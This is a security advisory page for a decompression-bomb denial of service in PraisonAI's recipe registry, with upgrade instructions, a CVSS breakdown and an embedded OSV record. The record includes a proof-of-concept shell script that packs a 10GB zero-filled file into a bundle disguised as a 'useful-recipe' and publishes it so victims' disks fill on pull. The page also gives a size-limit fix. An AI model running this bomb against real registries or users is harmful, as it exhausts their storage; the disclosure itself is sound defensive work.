CVE-2026-40148: PraisonAI Denial of Service Vulnerability
MODERATECVE-2026-40148 is a MODERATE (CVSS 6.5) denial of service vulnerability (CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)) affecting PraisonAI libraries in the PyPI ecosystem. The issue involves praisonai vulnerable to decompression bomb dos via recipe bundle extraction without size limits. Remediation is available by upgrading affected packages to version 4.5.128.
CVE-2026-40148 at a Glance
Security Impact
CVSS: 6.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H).
How to Fix CVE-2026-40148
To remediate this vulnerability, upgrade all affected PraisonAI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install PraisonAI>=4.5.128
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show PraisonAI
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-40148, inspect your installed packages using pip:
pip show PraisonAI
Analyze the terminal output to locate any version of PraisonAI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.5.128), your application is affected.
Note: The pip show PraisonAI command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-409: Improper Handling of Highly Compressed Data (Data Amplification), where the product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output. In PraisonAI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-40148 Affected PraisonAI Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
PraisonAI
|
PyPI |
< 4.5.128
|
4.5.128
|
References
Frequently Asked Questions
What is CVE-2026-40148?
Which PraisonAI versions are affected?
What version fixes CVE-2026-40148?
Is PraisonAI affected?
What is the CVSS score of CVE-2026-40148?
What CWE is associated with CVE-2026-40148?
How can I check PyPI dependencies for CVE-2026-40148?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-f2h6-7xfr-xm8w",
"modified" : "2026-04-10T19:26:21Z",
"published" : "2026-04-10T19:26:21Z",
"aliases" : [ "CVE-2026-40148" ],
"summary" : "PraisonAI Vulnerable to Decompression Bomb DoS via Recipe Bundle Extraction Without Size Limits",
"details" : "## Summary\n\nThe `_safe_extractall()` function in PraisonAI's recipe registry validates archive members against path traversal attacks but performs no checks on individual member sizes, cumulative extracted size, or member count before calling `tar.extractall()`. An attacker can publish a malicious recipe bundle containing highly compressible data (e.g., 10GB of zeros compressing to ~10MB) that exhausts the victim's disk when pulled via `LocalRegistry.pull()` or `HttpRegistry.pull()`.\n\n## Details\n\nThe vulnerable function is `_safe_extractall()` at `src/praisonai/praisonai/recipe/registry.py:131-162`:\n\n```python\ndef _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None:\n dest_resolved = dest_dir.resolve()\n for member in tar.getmembers():\n member_path = Path(member.name)\n # Reject absolute paths\n if member_path.is_absolute():\n raise RegistryError(...)\n # Reject '..' components\n if '..' in member_path.parts:\n raise RegistryError(...)\n # Reject resolved paths escaping dest_dir\n resolved = (dest_resolved / member_path).resolve()\n if not str(resolved).startswith(str(dest_resolved) + os.sep) and resolved != dest_resolved:\n raise RegistryError(...)\n # All members validated — safe to extract\n tar.extractall(dest_dir) # <-- No size limit\n```\n\nThe function iterates all tar members and checks for path traversal (absolute paths, `..` components, resolved path escaping), but never inspects `member.size`. The `TarInfo.size` attribute is available on every member and represents the uncompressed size, but it is never read.\n\nThis function is called from two locations:\n- `LocalRegistry.pull()` at line 396-397\n- `HttpRegistry.pull()` at line 791-792\n\nThe `publish()` method at line 296-298 only copies the compressed bundle via `shutil.copy2()`, so the bomb only detonates when a victim calls `pull()`.\n\nNo size limits, upload quotas, or decompression guards exist anywhere in the registry module.\n\n## PoC\n\n```bash\n# Step 1: Create a malicious recipe bundle\nmkdir bomb && cd bomb\n\ncat > manifest.json << 'EOF'\n{\"name\": \"useful-recipe\", \"version\": \"1.0.0\", \"description\": \"Helpful AI recipe\", \"tags\": [\"ai\"], \"files\": [\"agent.yaml\"]}\nEOF\n\n# Create a 10GB file of zeros (compresses to ~10MB with gzip)\ndd if=/dev/zero of=agent.yaml bs=1M count=10240\n\n# Bundle it as a .praison file\ntar czf ../useful-recipe-1.0.0.praison manifest.json agent.yaml\ncd ..\n\n# Step 2: Publish to local registry (~10MB stored)\npython -c \"\nfrom praisonai.recipe.registry import LocalRegistry\nreg = LocalRegistry()\nreg.publish('useful-recipe-1.0.0.praison')\n\"\n\n# Step 3: Victim pulls — extracts 10GB to disk\npython -c \"\nfrom praisonai.recipe.registry import LocalRegistry\nreg = LocalRegistry()\nreg.pull('useful-recipe')\n\"\n# Result: 10GB+ written to disk, potential disk exhaustion\n```\n\n## Impact\n\n- **Disk exhaustion:** A small compressed bundle (~10MB) can extract to 10GB+ of data, filling the victim's disk and causing denial of service for PraisonAI and potentially other applications on the same system.\n- **No authentication required:** The local registry has no access controls on `publish()`, and HTTP registry bundles are fetched from remote servers that the attacker controls.\n- **Silent detonation:** The extraction happens automatically during `pull()` with no progress indication or size warning to the user.\n\n## Recommended Fix\n\nAdd a maximum extraction size limit to `_safe_extractall()`:\n\n```python\nMAX_EXTRACT_SIZE = 500 * 1024 * 1024 # 500MB\nMAX_MEMBER_COUNT = 1000\n\ndef _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None:\n dest_resolved = dest_dir.resolve()\n members = tar.getmembers()\n \n if len(members) > MAX_MEMBER_COUNT:\n raise RegistryError(\n f\"Archive contains too many members ({len(members)} > {MAX_MEMBER_COUNT})\"\n )\n \n total_size = 0\n for member in members:\n member_path = Path(member.name)\n if member_path.is_absolute():\n raise RegistryError(\n f\"Refusing to extract absolute path in archive: {member.name}\"\n )\n if '..' in member_path.parts:\n raise RegistryError(\n f\"Refusing to extract path traversal in archive: {member.name}\"\n )\n resolved = (dest_resolved / member_path).resolve()\n if not str(resolved).startswith(str(dest_resolved) + os.sep) and resolved != dest_resolved:\n raise RegistryError(\n f\"Refusing to extract path escaping target directory: {member.name}\"\n )\n total_size += member.size\n if total_size > MAX_EXTRACT_SIZE:\n raise RegistryError(\n f\"Archive extraction would exceed size limit \"\n f\"({total_size} > {MAX_EXTRACT_SIZE} bytes)\"\n )\n tar.extractall(dest_dir)\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "PraisonAI"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "4.5.128"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-f2h6-7xfr-xm8w"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40148"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/MervinPraison/PraisonAI"
}, {
"type" : "WEB",
"url" : "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-409" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-10T19:26:21Z",
"nvd_published_at" : "2026-04-09T22:16:35Z"
}
}